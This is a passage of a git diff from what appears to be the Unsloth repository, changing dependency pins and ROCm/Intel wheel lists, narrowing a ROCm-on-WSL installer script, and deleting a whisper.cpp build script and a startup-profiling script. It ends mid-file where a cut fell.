"transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", @@ -888,19 +835,16 @@ cu126-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu126onlytorch2100]", - "unsloth[audio-torch210]", ] cu128-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu128onlytorch2100]", - "unsloth[audio-torch210]", ] cu130-ampere-torch2100 = [ "unsloth[huggingface]", "bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0", "unsloth[cu130onlytorch2100]", - "unsloth[audio-torch210]", ] flashattentiontorch260abiFALSEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", @@ -935,12 +879,14 @@ flashattentiontorch240abiFALSEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", + "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] flashattentiontorch240abiTRUEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", + "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] intelgputorch260 = [ "unsloth_zoo[intelgpu]", @@ -1185,8 +1131,7 @@ intelgputorch210 = [ "torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=1c4b44b36a557f7381e3076fb8843366742238648441d607c8d049c6da0f8886 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] intel-gpu-torch210 = [ - "unsloth[intelgputorch210]", - "unsloth[audio-torch210]", + "unsloth[intelgputorch210]" ] intelgputorch2110 = [ "unsloth_zoo[intelgpu]", @@ -1229,14 +1174,14 @@ intelgputorch2120 = [ "unsloth_zoo[intelgpu]", "unsloth[huggingfacenotorch]", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", @@ -1267,11 +1212,8 @@ intel = [ ] amd = [ "unsloth[huggingfacenotorch]", - # 4-bit decode is unreliable on ROCm before 0.50.0, the first PyPI release - # carrying the full path: blocksize/warp decoupling (bnb #1887), fused SIMT - # GEMM on RDNA (#1979), RDNA3/4 workgroup fix (#2012). - "bitsandbytes>=0.50.0 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", - "bitsandbytes>=0.50.0 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "bitsandbytes>=0.49.1 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')", + "bitsandbytes>=0.49.1 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", ] rocm702-torch280 = [ "unsloth[amd]", @@ -1343,7 +1285,6 @@ rocm72-torch2100 = [ "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "unsloth[audio-torch210]", ] rocm711-torch2100 = [ "unsloth[amd]", @@ -1362,7 +1303,6 @@ rocm711-torch2100 = [ "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", "torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "unsloth[audio-torch210]", ] [project.urls] diff --git a/scripts/build_whisper_cpp.sh b/scripts/build_whisper_cpp.sh deleted file mode 100755 index 9f7e4d4ef3..0000000000 --- a/scripts/build_whisper_cpp.sh +++ /dev/null @@ -1,71 +0,0 @@ -#!/bin/sh -# Build whisper.cpp's whisper-server for Studio's GGUF dictation engine. -# -# Installs into the managed Studio home so the backend's binary discovery -# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up: -# /whisper.cpp/build/bin/whisper-server (custom home) -# ~/.unsloth/whisper.cpp/build/bin/whisper-server (default) -# -# Usage: -# ./scripts/build_whisper_cpp.sh # build the pinned tag -# WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh -# -# Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a -# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's -# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux). - -set -eu - -WHISPER_CPP_SOURCE="${WHISPER_CPP_SOURCE:-https://github.com/ggml-org/whisper.cpp}" -WHISPER_CPP_TAG="${WHISPER_CPP_TAG:-v1.9.1}" - -STUDIO_HOME="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}" -CUSTOM_STUDIO_HOME=false -if [ -n "$STUDIO_HOME" ]; then - CUSTOM_STUDIO_HOME=true - INSTALL_DIR="$STUDIO_HOME/whisper.cpp" -else - INSTALL_DIR="$HOME/.unsloth/whisper.cpp" -fi - -command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" >&2; exit 1; } -command -v cmake >/dev/null 2>&1 || { echo "ERROR: cmake is required" >&2; exit 1; } - -# Same policy as studio/setup.sh's _assert_studio_owned_or_absent: never delete -# a directory under a custom Studio home unless Studio itself created it (the -# marker file below). Protects a user-managed whisper.cpp/src from rm -rf. -STUDIO_OWNED_MARKER=".unsloth-studio-owned" -if [ "$CUSTOM_STUDIO_HOME" = true ] && [ -e "$INSTALL_DIR" ] && \ - [ ! -f "$INSTALL_DIR/$STUDIO_OWNED_MARKER" ]; then - echo "ERROR: $INSTALL_DIR already exists and is not marked as an Unsloth-owned whisper.cpp build tree." >&2 - echo " Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2 - exit 1 -fi - -echo "==> Building whisper.cpp ($WHISPER_CPP_TAG) into $INSTALL_DIR" -mkdir -p "$INSTALL_DIR" -: > "$INSTALL_DIR/$STUDIO_OWNED_MARKER" - -if [ ! -d "$INSTALL_DIR/src/.git" ]; then - rm -rf "$INSTALL_DIR/src" - git clone --depth 1 --branch "$WHISPER_CPP_TAG" "$WHISPER_CPP_SOURCE" "$INSTALL_DIR/src" -else - git -C "$INSTALL_DIR/src" fetch --depth 1 origin "$WHISPER_CPP_TAG" - git -C "$INSTALL_DIR/src" checkout FETCH_HEAD -fi - -CMAKE_FLAGS="-DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF" -if [ "${GGML_CUDA:-0}" = "1" ]; then - CMAKE_FLAGS="$CMAKE_FLAGS -DGGML_CUDA=ON" -fi - -# shellcheck disable=SC2086 -cmake -S "$INSTALL_DIR/src" -B "$INSTALL_DIR/src/build" $CMAKE_FLAGS -NCPU="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)" -cmake --build "$INSTALL_DIR/src/build" --config Release --target whisper-server -j"$NCPU" - -mkdir -p "$INSTALL_DIR/build/bin" -cp "$INSTALL_DIR/src/build/bin/whisper-server" "$INSTALL_DIR/build/bin/whisper-server" - -echo "==> Installed $INSTALL_DIR/build/bin/whisper-server" -"$INSTALL_DIR/build/bin/whisper-server" --help >/dev/null 2>&1 && echo "==> Binary runs OK" diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh index 697aae933f..5ef9ee386a 100644 --- a/scripts/install_rocm_wsl_strixhalo.sh +++ b/scripts/install_rocm_wsl_strixhalo.sh @@ -3,14 +3,13 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # # ────────────────────────────────────────────────────────────────────────────── -# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX -# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT). +# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151) # ────────────────────────────────────────────────────────────────────────────── -# install.sh routes the detected arch to the right ROCm wheels once a runtime exists; -# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg). -# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by -# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the -# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent. +# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime +# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG +# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04 +# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via +# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies). # # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once @@ -35,12 +34,10 @@ set -euo pipefail # ── Tunables (override via env) ────────────────────────────────────────────── ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install -# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200). -# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch. -GFX="${UNSLOTH_WSL_GFX:-}" +GFX="gfx1151" LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}" # ROCm/librocdxg git ref to build -# AMD's wheel index for the (optional) smoke test; resolved after arch detection. -TORCH_INDEX="" +# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test. +TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/" # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs # torch itself into the real venv right after, so a duplicate download is wasteful. SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}" @@ -219,16 +216,16 @@ fi echo "${ROCM_DIR}/lib" | $SUDO tee /etc/ld.so.conf.d/rocm.conf >/dev/null $SUDO ldconfig -# ── Step 4: persist environment (system-wide so Unsloth's worker inherits it) ── +# ── Step 4: persist environment (system-wide so Studio's worker inherits it) ── say "Persisting ROCm-on-WSL environment" _envfile="/etc/profile.d/unsloth-rocm-wsl.sh" $SUDO tee "$_envfile" >/dev/null <>> Unsloth ROCm-on-WSL >>> +# >>> Unsloth ROCm-on-WSL (gfx1151) >>> export HSA_ENABLE_DXG_DETECTION=1 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1 export PATH="${ROCM_DIR}/bin:\${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}" -# <<< Unsloth ROCm-on-WSL <<< +# <<< Unsloth ROCm-on-WSL (gfx1151) <<< EOF # also drop into ~/.bashrc for interactive shells if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then @@ -240,50 +237,32 @@ export PATH="${ROCM_DIR}/bin:${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}" # ── Step 5: verify the runtime enumerates the GPU ──────────────────────────── -say "Verifying rocminfo enumerates the GPU over DXG" +say "Verifying rocminfo sees ${GFX}" # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs # rocminfo on first match, which under `set -o pipefail` turns a successful match -# into a pipeline failure. +# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a +# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass. _rocminfo_out="$(rocminfo 2>/dev/null || true)" -# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU -# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch. -_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)" -if [ -z "$_detected_gfx" ]; then +if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true - die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." + die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." fi -# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under -# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt. -if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then - die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'." -fi -GFX="${GFX:-$_detected_gfx}" # Display-only summary: best-effort (|| true) so head's early pipe-close under # `set -o pipefail` can't fail the bootstrap after verification already passed. printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true note "ROCm-on-WSL runtime is live for ${GFX}." -# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ─────── +# ── Step 6 (optional): torch smoke test from the gfx1151 index ─────────────── if [ "$SMOKE_TEST" = "1" ]; then say "Smoke-testing PyTorch on ${GFX} (throwaway venv)" - # Map the detected arch to AMD's repo.amd.com wheel family index. - case "$GFX" in - gfx1200|gfx1201) _fam="gfx120X-all" ;; - gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;; - *) _fam="$GFX" ;; # gfx1150/gfx1151/gfx90a: own index - esac - TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/" _venv="${HOME}/.unsloth/rocm-smoketest" rm -rf "$_venv"; python3 -m venv "$_venv" "$_venv/bin/pip" install --quiet --upgrade pip - # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py + # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch. "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \ --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \ die "torch install from ${TORCH_INDEX} failed." - # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib. - _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)" - [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true "$_venv/bin/python" - <<'PY' import torch ok = torch.cuda.is_available() diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.py index 8f22fcaf45..0688f6c65c 100644 --- a/scripts/lint_workflow_triggers.py +++ b/scripts/lint_workflow_triggers.py @@ -52,14 +52,14 @@ def _normalise_on(on_field): def _load_workflow(path: Path): try: - return yaml.safe_load(path.read_text(encoding = "utf-8")) + return yaml.safe_load(path.read_text()) except Exception as exc: print(f"ERROR: failed to parse {path}: {exc}", file = sys.stderr) sys.exit(2) def _extract_cache_keys(path: Path) -> list[str]: - text = path.read_text(encoding = "utf-8") + text = path.read_text() keys: list[str] = [] for m in re.finditer(r"(?:^|\n)\s*key:\s*([^\n]+)", text): keys.append(m.group(1).strip()) @@ -104,7 +104,7 @@ def main() -> int: for t in RESTRICTED_TRIGGERS: if t in triggers: - text = path.read_text(encoding = "utf-8") + text = path.read_text() if "lint:workflow_triggers-allow-workflow_run" not in text: findings.append( f"{path.name}: RESTRICTED trigger '{t}' requires an " diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py index f9cf726dc1..66b48c094d 100644 --- a/scripts/lockfile_supply_chain_audit.py +++ b/scripts/lockfile_supply_chain_audit.py @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -"""Lockfile supply-chain audit for the Unsloth frontend and Tauri shell. +"""Lockfile supply-chain audit for the Studio frontend and Tauri shell. Runs BEFORE `npm ci` / `cargo fetch` in CI. Refuses to proceed when a lockfile contains patterns indicating supply-chain injection (npm @@ -294,7 +294,7 @@ CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index" # Cargo non-registry source allowlist: `(crate_name, exact_source_string)`. # Both must match verbatim; bumping the pinned SHA forces a re-review. -# Unsloth's Tauri shell pulls `fix-path-env` from git because it is not +# Studio's Tauri shell pulls `fix-path-env` from git because it is not # published to crates.io; commit c4c45d5 was reviewed when it landed. CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = ( ( diff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.py index 7bcee47c66..c1be7a63a4 100644 --- a/scripts/notebook_validator.py +++ b/scripts/notebook_validator.py @@ -95,8 +95,8 @@ COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-i # Source: pytorch/torchcodec compatibility matrix on its README. TORCH_TORCHCODEC: dict[str, set[str]] = { "2.10": {"0.10"}, - "2.9": {"0.8", "0.9"}, - "2.8": {"0.6", "0.7"}, + "2.9": {"0.7", "0.8", "0.9"}, + "2.8": {"0.6"}, "2.7": {"0.3", "0.4", "0.5"}, "2.6": {"0.2", "0.3"}, "2.5": {"0.1", "0.2"}, diff --git a/scripts/profile_startup.py b/scripts/profile_startup.py deleted file mode 100644 index 937d007ac1..0000000000 --- a/scripts/profile_startup.py +++ /dev/null @@ -1,377 +0,0 @@ -#!/usr/bin/env python3 -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""Measure where Unsloth Studio's startup time goes, per platform. - -Nothing measured this before: the backend logs "lifespan startup completed in X ms" -but no test or CI job asserted a budget, and studio_test_kit discards the elapsed -time of its /healthz poll. A first local run (Linux, warm cache, fast server CPU) -found `import main` alone costs 6.6s before the server can bind, dominated by eager -module-level imports pulled in by the `routes` package: - - torch 1930 ms self - unsloth_zoo 914 ms self - routes 779 ms self - transformers 524 ms self - -Phases measured: - import `python -X importtime -c "import main"`, top cumulative + per-package self - spawn process start -> first byte on stdout - healthz process start -> /api/health (or /healthz) answers 200 - lifespan the backend's own "lifespan startup completed in X ms" log line - -Usage: - python scripts/profile_startup.py --repeats 3 --json out.json - python scripts/profile_startup.py --import-only # no server, no port needed - -Exit code is 0 unless --max-healthz-seconds is given and exceeded. -""" - -from __future__ import annotations - -import argparse -import json -import math -import os -import platform -import re -import shutil -import socket -import statistics -import subprocess -import sys -import threading -import time -import urllib.error -import urllib.request -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parents[1] -BACKEND = REPO_ROOT / "studio" / "backend" - -_IMPORTTIME_RE = re.compile(r"import time:\s+(\d+)\s+\|\s+(\d+)\s+\|(\s*)(\S.*)") - - -def _free_port() -> int: - with socket.socket() as s: - s.bind(("127.0.0.1", 0)) - return int(s.getsockname()[1]) - - -def profile_imports(python: str, top: int = 15) -> dict: - """Cumulative and self import cost for the backend's module graph. - - Run in a subprocess with -X importtime: the numbers are only meaningful for a - cold interpreter, and importing in-process would measure a warm sys.modules. - """ - proc = subprocess.run( - [python, "-X", "importtime", "-c", "import sys; sys.path.insert(0, '.'); import main"], - cwd = BACKEND, - capture_output = True, - text = True, - timeout = 900, - ) - rows = [] - for line in proc.stderr.splitlines(): - m = _IMPORTTIME_RE.match(line) - if m: - rows.append((int(m.group(1)), int(m.group(2)), m.group(4).strip())) - if not rows: - return {"ok": False, "error": (proc.stderr or proc.stdout)[-2000:]} - if proc.returncode != 0: - # Rows survive up to the failure, so any total from a partial graph is wrong. - return { - "ok": False, - "error": (proc.stderr or proc.stdout)[-2000:], - "partial_rows": len(rows), - } - - by_cum = sorted(rows, key = lambda r: -r[1]) - # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the - # interpreter's own startup graph (`site`), which can outrank a trivial main. - main_row = next((r for r in reversed(rows) if r[2] == "main"), None) - if main_row is None: - return { - "ok": False, - "error": "no `import main` row in -X importtime output\n" - + (proc.stderr or proc.stdout)[-2000:], - } - self_by_pkg: dict[str, int] = {} - for self_us, _cum, name in rows: - pkg = name.split(".")[0] - self_by_pkg[pkg] = self_by_pkg.get(pkg, 0) + self_us - - return { - "ok": True, - "total_seconds": round(main_row[1] / 1e6, 3), - "top_cumulative": [ - {"module": n, "seconds": round(c / 1e6, 3)} for _s, c, n in by_cum[:top] - ], - "self_by_package_ms": { - k: round(v / 1000) for k, v in sorted(self_by_pkg.items(), key = lambda x: -x[1])[:top] - }, - } - - -def _terminate_tree(proc: subprocess.Popen) -> None: - """Stop the server AND its children, which on Windows are a separate process. - - CI profiles `Scripts/unsloth.exe`, a distlib launcher stub that CreateProcess's - the venv python and waits, so terminate() reaps the stub only: the real backend - 